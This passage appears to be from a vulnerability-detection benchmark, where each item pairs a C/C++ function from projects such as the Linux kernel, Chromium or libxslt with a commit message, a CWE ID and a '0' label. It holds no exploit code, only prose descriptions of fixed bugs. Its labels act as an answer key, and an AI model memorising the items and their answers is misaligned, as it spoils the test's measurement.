case BPF_PROG_TYPE_CGROUP_SOCK_ADDR:
case BPF_PROG_TYPE_SOCK_OPS:
case BPF_PROG_TYPE_CGROUP_DEVICE:
break;
default:
return 0;
}
reg = cur_regs(env) + BPF_REG_0;
if (reg->type != SCALAR_VALUE) {
verbose(env, "At program exit the register R0 is not a known value (%s)\n",
reg_type_str[reg->type]);
return -EINVAL;
}
if (!tnum_in(range, reg->var_off)) {
verbose(env, "At program exit the register R0 ");
if (!tnum_is_unknown(reg->var_off)) {
char tn_buf[48];
tnum_strn(tn_buf, sizeof(tn_buf), reg->var_off);
verbose(env, "has value %s", tn_buf);
} else {
verbose(env, "has unknown scalar value");
}
verbose(env, " should have been 0 or 1\n");
return -EINVAL;
}
return 0;
}
Commit Message: bpf: 32-bit RSH verification must truncate input before the ALU op
When I wrote commit 468f6eafa6c4 ("bpf: fix 32-bit ALU op verification"), I
assumed that, in order to emulate 64-bit arithmetic with 32-bit logic, it
is sufficient to just truncate the output to 32 bits; and so I just moved
the register size coercion that used to be at the start of the function to
the end of the function.
That assumption is true for almost every op, but not for 32-bit right
shifts, because those can propagate information towards the least
significant bit. Fix it by always truncating inputs for 32-bit ops to 32
bits.
Also get rid of the coerce_reg_to_size() after the ALU op, since that has
no effect.
Fixes: 468f6eafa6c4 ("bpf: fix 32-bit ALU op verification")
Acked-by: Daniel Borkmann <daniel@iogearbox.net>
Signed-off-by: Jann Horn <jannh@google.com>
Signed-off-by: Daniel Borkmann <daniel@iogearbox.net>
CWE ID: CWE-125
| 0
| 6,912
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int rfcomm_sock_getname(struct socket *sock, struct sockaddr *addr, int *len, int peer)
{
struct sockaddr_rc *sa = (struct sockaddr_rc *) addr;
struct sock *sk = sock->sk;
BT_DBG("sock %p, sk %p", sock, sk);
memset(sa, 0, sizeof(*sa));
sa->rc_family = AF_BLUETOOTH;
sa->rc_channel = rfcomm_pi(sk)->channel;
if (peer)
bacpy(&sa->rc_bdaddr, &bt_sk(sk)->dst);
else
bacpy(&sa->rc_bdaddr, &bt_sk(sk)->src);
*len = sizeof(struct sockaddr_rc);
return 0;
}
Commit Message: Bluetooth: RFCOMM - Fix missing msg_namelen update in rfcomm_sock_recvmsg()
If RFCOMM_DEFER_SETUP is set in the flags, rfcomm_sock_recvmsg() returns
early with 0 without updating the possibly set msg_namelen member. This,
in turn, leads to a 128 byte kernel stack leak in net/socket.c.
Fix this by updating msg_namelen in this case. For all other cases it
will be handled in bt_sock_stream_recvmsg().
Cc: Marcel Holtmann <marcel@holtmann.org>
Cc: Gustavo Padovan <gustavo@padovan.org>
Cc: Johan Hedberg <johan.hedberg@gmail.com>
Signed-off-by: Mathias Krause <minipli@googlemail.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-200
| 0
| 2,128
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: xsltCurrentFunction(xmlXPathParserContextPtr ctxt, int nargs){
xsltTransformContextPtr tctxt;
if (nargs != 0) {
xsltTransformError(xsltXPathGetTransformContext(ctxt), NULL, NULL,
"current() : function uses no argument\n");
ctxt->error = XPATH_INVALID_ARITY;
return;
}
tctxt = xsltXPathGetTransformContext(ctxt);
if (tctxt == NULL) {
xsltTransformError(xsltXPathGetTransformContext(ctxt), NULL, NULL,
"current() : internal error tctxt == NULL\n");
valuePush(ctxt, xmlXPathNewNodeSet(NULL));
} else {
valuePush(ctxt, xmlXPathNewNodeSet(tctxt->node)); /* current */
}
}
Commit Message: Fix harmless memory error in generate-id.
BUG=140368
Review URL: https://chromiumcodereview.appspot.com/10823168
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@149998 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-399
| 0
| 3,770
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: String AudioHandler::NodeTypeName() const {
switch (node_type_) {
case kNodeTypeDestination:
return "AudioDestinationNode";
case kNodeTypeOscillator:
return "OscillatorNode";
case kNodeTypeAudioBufferSource:
return "AudioBufferSourceNode";
case kNodeTypeMediaElementAudioSource:
return "MediaElementAudioSourceNode";
case kNodeTypeMediaStreamAudioDestination:
return "MediaStreamAudioDestinationNode";
case kNodeTypeMediaStreamAudioSource:
return "MediaStreamAudioSourceNode";
case kNodeTypeScriptProcessor:
return "ScriptProcessorNode";
case kNodeTypeBiquadFilter:
return "BiquadFilterNode";
case kNodeTypePanner:
return "PannerNode";
case kNodeTypeStereoPanner:
return "StereoPannerNode";
case kNodeTypeConvolver:
return "ConvolverNode";
case kNodeTypeDelay:
return "DelayNode";
case kNodeTypeGain:
return "GainNode";
case kNodeTypeChannelSplitter:
return "ChannelSplitterNode";
case kNodeTypeChannelMerger:
return "ChannelMergerNode";
case kNodeTypeAnalyser:
return "AnalyserNode";
case kNodeTypeDynamicsCompressor:
return "DynamicsCompressorNode";
case kNodeTypeWaveShaper:
return "WaveShaperNode";
case kNodeTypeUnknown:
case kNodeTypeEnd:
default:
NOTREACHED();
return "UnknownNode";
}
}
Commit Message: Revert "Keep AudioHandlers alive until they can be safely deleted."
This reverts commit 071df33edf2c8b4375fa432a83953359f93ea9e4.
Reason for revert:
This CL seems to cause an AudioNode leak on the Linux leak bot.
The log is:
https://ci.chromium.org/buildbot/chromium.webkit/WebKit%20Linux%20Trusty%20Leak/14252
* webaudio/AudioNode/audionode-connect-method-chaining.html
* webaudio/Panner/pannernode-basic.html
* webaudio/dom-exceptions.html
Original change's description:
> Keep AudioHandlers alive until they can be safely deleted.
>
> When an AudioNode is disposed, the handler is also disposed. But add
> the handler to the orphan list so that the handler stays alive until
> the context can safely delete it. If we don't do this, the handler
> may get deleted while the audio thread is processing the handler (due
> to, say, channel count changes and such).
>
> For an realtime context, always save the handler just in case the
> audio thread is running after the context is marked as closed (because
> the audio thread doesn't instantly stop when requested).
>
> For an offline context, only need to do this when the context is
> running because the context is guaranteed to be stopped if we're not
> in the running state. Hence, there's no possibility of deleting the
> handler while the graph is running.
>
> This is a revert of
> https://chromium-review.googlesource.com/c/chromium/src/+/860779, with
> a fix for the leak.
>
> Bug: 780919
> Change-Id: Ifb6b5fcf3fbc373f5779256688731245771da33c
> Reviewed-on: https://chromium-review.googlesource.com/862723
> Reviewed-by: Hongchan Choi <hongchan@chromium.org>
> Commit-Queue: Raymond Toy <rtoy@chromium.org>
> Cr-Commit-Position: refs/heads/master@{#528829}
TBR=rtoy@chromium.org,hongchan@chromium.org
Change-Id: Ibf406bf6ed34ea1f03e86a64a1e5ba6de0970c6f
No-Presubmit: true
No-Tree-Checks: true
No-Try: true
Bug: 780919
Reviewed-on: https://chromium-review.googlesource.com/863402
Reviewed-by: Taiju Tsuiki <tzik@chromium.org>
Commit-Queue: Taiju Tsuiki <tzik@chromium.org>
Cr-Commit-Position: refs/heads/master@{#528888}
CWE ID: CWE-416
| 0
| 27,561
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void tg3_phy_set_wirespeed(struct tg3 *tp)
{
int ret;
u32 val;
if (tp->phy_flags & TG3_PHYFLG_NO_ETH_WIRE_SPEED)
return;
ret = tg3_phy_auxctl_read(tp, MII_TG3_AUXCTL_SHDWSEL_MISC, &val);
if (!ret)
tg3_phy_auxctl_write(tp, MII_TG3_AUXCTL_SHDWSEL_MISC,
val | MII_TG3_AUXCTL_MISC_WIRESPD_EN);
}
Commit Message: tg3: fix length overflow in VPD firmware parsing
Commit 184b89044fb6e2a74611dafa69b1dce0d98612c6 ("tg3: Use VPD fw version
when present") introduced VPD parsing that contained a potential length
overflow.
Limit the hardware's reported firmware string length (max 255 bytes) to
stay inside the driver's firmware string length (32 bytes). On overflow,
truncate the formatted firmware string instead of potentially overwriting
portions of the tg3 struct.
http://cansecwest.com/slides/2013/PrivateCore%20CSW%202013.pdf
Signed-off-by: Kees Cook <keescook@chromium.org>
Reported-by: Oded Horovitz <oded@privatecore.com>
Reported-by: Brad Spengler <spender@grsecurity.net>
Cc: stable@vger.kernel.org
Cc: Matt Carlson <mcarlson@broadcom.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-119
| 0
| 10,821
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: hashbin_t *hashbin_new(int type)
{
hashbin_t* hashbin;
/*
* Allocate new hashbin
*/
hashbin = kzalloc(sizeof(*hashbin), GFP_ATOMIC);
if (!hashbin)
return NULL;
/*
* Initialize structure
*/
hashbin->hb_type = type;
hashbin->magic = HB_MAGIC;
/* Make sure all spinlock's are unlocked */
if ( hashbin->hb_type & HB_LOCK ) {
spin_lock_init(&hashbin->hb_spinlock);
}
return hashbin;
}
Commit Message: irda: Fix lockdep annotations in hashbin_delete().
A nested lock depth was added to the hasbin_delete() code but it
doesn't actually work some well and results in tons of lockdep splats.
Fix the code instead to properly drop the lock around the operation
and just keep peeking the head of the hashbin queue.
Reported-by: Dmitry Vyukov <dvyukov@google.com>
Tested-by: Dmitry Vyukov <dvyukov@google.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID:
| 0
| 13,933
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: ZEND_API void zend_wrong_param_count(TSRMLS_D) /* {{{ */
{
const char *space;
const char *class_name = get_active_class_name(&space TSRMLS_CC);
zend_error(E_WARNING, "Wrong parameter count for %s%s%s()", class_name, space, get_active_function_name(TSRMLS_C));
}
/* }}} */
Commit Message:
CWE ID: CWE-416
| 0
| 8,424
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: SProcRenderAddGlyphs (ClientPtr client)
{
register int n;
register int i;
CARD32 *gids;
void *end;
xGlyphInfo *gi;
REQUEST(xRenderAddGlyphsReq);
swaps(&stuff->length, n);
swapl(&stuff->glyphset, n);
swapl(&stuff->nglyphs, n);
if (stuff->nglyphs & 0xe0000000)
return BadLength;
end = (CARD8 *) stuff + (client->req_len << 2);
gids = (CARD32 *) (stuff + 1);
gi = (xGlyphInfo *) (gids + stuff->nglyphs);
if ((char *) end - (char *) (gids + stuff->nglyphs) < 0)
return BadLength;
if ((char *) end - (char *) (gi + stuff->nglyphs) < 0)
return BadLength;
for (i = 0; i < stuff->nglyphs; i++)
{
swapl (&gids[i], n);
swaps (&gi[i].width, n);
swaps (&gi[i].height, n);
swaps (&gi[i].x, n);
swaps (&gi[i].y, n);
swaps (&gi[i].xOff, n);
swaps (&gi[i].yOff, n);
}
return (*ProcRenderVector[stuff->renderReqType]) (client);
}
Commit Message:
CWE ID: CWE-20
| 0
| 25,966
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void InputMethodController::ExtendSelectionAndDelete(int before, int after) {
if (!GetEditor().CanEdit())
return;
PlainTextRange selection_offsets(GetSelectionOffsets());
if (selection_offsets.IsNull())
return;
do {
if (!SetSelectionOffsets(PlainTextRange(
std::max(static_cast<int>(selection_offsets.Start()) - before, 0),
selection_offsets.End() + after)))
return;
if (before == 0)
break;
++before;
} while (GetFrame()
.Selection()
.ComputeVisibleSelectionInDOMTreeDeprecated()
.Start() == GetFrame()
.Selection()
.ComputeVisibleSelectionInDOMTreeDeprecated()
.End() &&
before <= static_cast<int>(selection_offsets.Start()));
Node* target = GetDocument().FocusedElement();
if (target) {
DispatchBeforeInputEditorCommand(
target, InputEvent::InputType::kDeleteContentBackward,
TargetRangesForInputEvent(*target));
}
TypingCommand::DeleteSelection(GetDocument());
}
Commit Message: Move SelectionTemplate::is_handle_visible_ to FrameSelection
This patch moves |is_handle_visible_| to |FrameSelection| from |SelectionTemplate|
since handle visibility is used only for setting |FrameSelection|, hence it is
a redundant member variable of |SelectionTemplate|.
Bug: 742093
Change-Id: I3add4da3844fb40be34dcb4d4b46b5fa6fed1d7e
Reviewed-on: https://chromium-review.googlesource.com/595389
Commit-Queue: Yoshifumi Inoue <yosin@chromium.org>
Reviewed-by: Xiaocheng Hu <xiaochengh@chromium.org>
Reviewed-by: Kent Tamura <tkent@chromium.org>
Cr-Commit-Position: refs/heads/master@{#491660}
CWE ID: CWE-119
| 0
| 12,683
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void *__kmalloc_node_track_caller(size_t size, gfp_t gfpflags,
int node, void *caller)
{
struct kmem_cache *s;
if (unlikely(size > PAGE_SIZE))
return kmalloc_large_node(size, gfpflags, node);
s = get_slab(size, gfpflags);
if (unlikely(ZERO_OR_NULL_PTR(s)))
return s;
return slab_alloc(s, gfpflags, node, caller);
}
Commit Message: remove div_long_long_rem
x86 is the only arch right now, which provides an optimized for
div_long_long_rem and it has the downside that one has to be very careful that
the divide doesn't overflow.
The API is a little akward, as the arguments for the unsigned divide are
signed. The signed version also doesn't handle a negative divisor and
produces worse code on 64bit archs.
There is little incentive to keep this API alive, so this converts the few
users to the new API.
Signed-off-by: Roman Zippel <zippel@linux-m68k.org>
Cc: Ralf Baechle <ralf@linux-mips.org>
Cc: Ingo Molnar <mingo@elte.hu>
Cc: Thomas Gleixner <tglx@linutronix.de>
Cc: john stultz <johnstul@us.ibm.com>
Cc: Christoph Lameter <clameter@sgi.com>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
CWE ID: CWE-189
| 0
| 24,354
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void sysReleaseMap(MemMapping* pMap)
{
int i;
for (i = 0; i < pMap->range_count; ++i) {
if (munmap(pMap->ranges[i].addr, pMap->ranges[i].length) < 0) {
LOGW("munmap(%p, %d) failed: %s\n",
pMap->ranges[i].addr, (int)pMap->ranges[i].length, strerror(errno));
}
}
free(pMap->ranges);
pMap->ranges = NULL;
pMap->range_count = 0;
}
Commit Message: Fix integer overflows in recovery procedure.
Bug: 26960931
Change-Id: Ieae45caccfb4728fcf514f0d920976585d8e6caf
(cherry picked from commit 4f2df162c6ab4a71ca86e4b38735b681729c353b)
CWE ID: CWE-189
| 0
| 22,034
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int check_newline(const char *progname, const char *name)
{
const char *s;
for (s = "\n"; *s; s++) {
if (strchr(name, *s)) {
fprintf(stderr,
"%s: illegal character 0x%02x in mount entry\n",
progname, *s);
return EX_USAGE;
}
}
return 0;
}
Commit Message:
CWE ID: CWE-20
| 0
| 2,873
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: LayoutUnit RenderFlexibleBox::computeChildMarginValue(Length margin)
{
LayoutUnit availableSize = contentLogicalWidth();
return minimumValueForLength(margin, availableSize);
}
Commit Message: Separate repaint and layout requirements of StyleDifference (Step 1)
Previously StyleDifference was an enum that proximately bigger values
imply smaller values (e.g. StyleDifferenceLayout implies
StyleDifferenceRepaint). This causes unnecessary repaints in some cases
on layout change.
Convert StyleDifference to a structure containing relatively independent
flags.
This change doesn't directly improve the result, but can make further
repaint optimizations possible.
Step 1 doesn't change any functionality. RenderStyle still generate the
legacy StyleDifference enum when comparing styles and convert the result
to the new StyleDifference. Implicit requirements are not handled during
the conversion.
Converted call sites to use the new StyleDifference according to the
following conversion rules:
- diff == StyleDifferenceEqual (&& !context) => diff.hasNoChange()
- diff == StyleDifferenceRepaint => diff.needsRepaintObjectOnly()
- diff == StyleDifferenceRepaintLayer => diff.needsRepaintLayer()
- diff == StyleDifferenceRepaint || diff == StyleDifferenceRepaintLayer => diff.needsRepaintLayer()
- diff >= StyleDifferenceRepaint => diff.needsRepaint() || diff.needsLayout()
- diff >= StyleDifferenceRepaintLayer => diff.needsRepaintLayer() || diff.needsLayout()
- diff > StyleDifferenceRepaintLayer => diff.needsLayout()
- diff == StyleDifferencePositionedMovementLayoutOnly => diff.needsPositionedMovementLayoutOnly()
- diff == StyleDifferenceLayout => diff.needsFullLayout()
BUG=358460
TEST=All existing layout tests.
R=eseidel@chromium.org, esprehn@chromium.org, jchaffraix@chromium.org
Committed: https://src.chromium.org/viewvc/blink?view=rev&revision=171983
Review URL: https://codereview.chromium.org/236203020
git-svn-id: svn://svn.chromium.org/blink/trunk@172331 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-119
| 0
| 14,122
|
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